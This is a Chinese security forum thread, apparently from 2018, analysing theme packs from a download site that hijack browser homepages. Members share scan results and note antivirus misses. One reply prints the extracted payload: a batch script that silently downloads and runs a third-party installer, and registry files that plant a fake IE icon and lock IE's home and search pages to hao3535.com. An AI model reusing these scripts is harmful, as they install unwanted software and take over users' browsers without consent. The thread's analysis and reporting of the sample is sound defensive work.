这个网站下载的主题好恶心 篡改主页

Ytqing

www.dnzhuti.com
随便下载一个主题包
exe文件
电脑分分钟中招
浏览器主页被XX
腾讯哈勃https://habo.qq.com/file/showdet ... =ADMGYl1sB2QIP1s%2B

llcy

不清楚 是否篡改主页

Jerry.Lin

有趣

fireherman

ESET scan miss

VT: https://www.virustotal.com/#/fil ... 175e46204/detection

Live Grid [未收录/已上报]，顺便把网址拉黑，顺便把网址提交给FireFox

Dolby123

curl.bat (偷偷下载+后台安装）

1. [url=home.php?mod=space&uid=331734]@echo[/url] off
   
2. curl.exe -o kuwo_jm694.exe http://down.kuwo.cn/mbox/kuwo_jm694.exe
   
3. kuwo_jm694

复制代码

IE.reg

1. Windows Registry Editor Version 5.00
   
2. 
   
3. [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000000-0000-0000-0000-000000000001}]
   
4. 
   
5. [HKEY_CLASSES_ROOT\CLSID\{B416D23B-3B22-B6D4-BBD4-BBD452DB3D58}]
   
6. @="Internet Explorer"
   
7. "InfoTip"="@C:\\Windows\\system32\\zh-CN\\ieframe.dll.mui,-881"
   
8. "LocalizedString"="@C:\\Windows\\system32\\zh-CN\\ieframe.dll.mui,-880"
   
9. 
   
10. [HKEY_CLASSES_ROOT\CLSID\{B416D23B-3B22-B6D4-BBD4-BBD452DB3D58}\DefaultIcon]
    
11. @="C:\\Windows\\system32\\ieframe.dll,-190"
    
12. 
    
13. [HKEY_CLASSES_ROOT\CLSID\{B416D23B-3B22-B6D4-BBD4-BBD452DB3D58}\Shell]
    
14. 
    
15. [HKEY_CLASSES_ROOT\CLSID\{B416D23B-3B22-B6D4-BBD4-BBD452DB3D58}\Shell\NoAddOns]
    
16. @="在没有加载项的情况下启动"
    
17. 
    
18. [HKEY_CLASSES_ROOT\CLSID\{B416D23B-3B22-B6D4-BBD4-BBD452DB3D58}\Shell\NoAddOns\Command]
    
19. @="C:\\Program Files\\Internet Explorer\\iexplore.exe http://ie.hao3535.com/?zhuti/"
    
20. 
    
21. [HKEY_CLASSES_ROOT\CLSID\{B416D23B-3B22-B6D4-BBD4-BBD452DB3D58}\Shell\Open]
    
22. @="打开主页(H)"
    
23. 
    
24. [HKEY_CLASSES_ROOT\CLSID\{B416D23B-3B22-B6D4-BBD4-BBD452DB3D58}\Shell\Open\Command]
    
25. @="C:\\Program Files\\Internet Explorer\\iexplore.exe http://ie.hao3535.com/?zhuti/"
    
26. 
    
27. [HKEY_CLASSES_ROOT\CLSID\{B416D23B-3B22-B6D4-BBD4-BBD452DB3D58}\Shell\Properties]
    
28. @="属性(R)"
    
29. 
    
30. [HKEY_CLASSES_ROOT\CLSID\{B416D23B-3B22-B6D4-BBD4-BBD452DB3D58}\Shell\Properties\Command]
    
31. @="Rundll32.exe Shell32.dll,Control_RunDLL Inetcpl.cpl"
    
32. 
    
33. [HKEY_CLASSES_ROOT\CLSID\{B416D23B-3B22-B6D4-BBD4-BBD452DB3D58}\ShellFolder]
    
34. "Attributes"=dword:00000000

复制代码

zhuti.reg (篡改浏览器设置)

1. Windows Registry Editor Version 5.00
   
2. [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MAIN]
   
3. "Start Page"="ie.hao3535.com/?zhuti/"
   
4. "First Home Page"="ie.hao3535.com/?zhuti/"
   
5. "Default_Page_URL"="ie.hao3535.com/?zhuti/"
   
6. "Search Page"="ie.hao3535.com/?zhuti/"
   
7. [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Main]
   
8. "Start Page"="ie.hao3535.com/?zhuti/"
   
9. [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
   
10. "HomePage"="1"
    
11. 
    

复制代码

ziyerain2015

360 MISS
HMP miss

蓝泽祈

主题是exe的你也敢用

Ytqing

蓝泽祈 发表于 2018-1-4 09:44
主题是exe的你也敢用

看着很好看  在虚拟机一玩   中招了

Ytqing

191196846 发表于 2018-1-3 22:37
有趣

这东西的确设置了密码  是一个rar自解压文件（带密码 ）  自解压后才是真正程序

Ytqing

Dolby123 发表于 2018-1-4 01:05
curl.bat (偷偷下载+后台安装）

IE.reg

大佬厉害！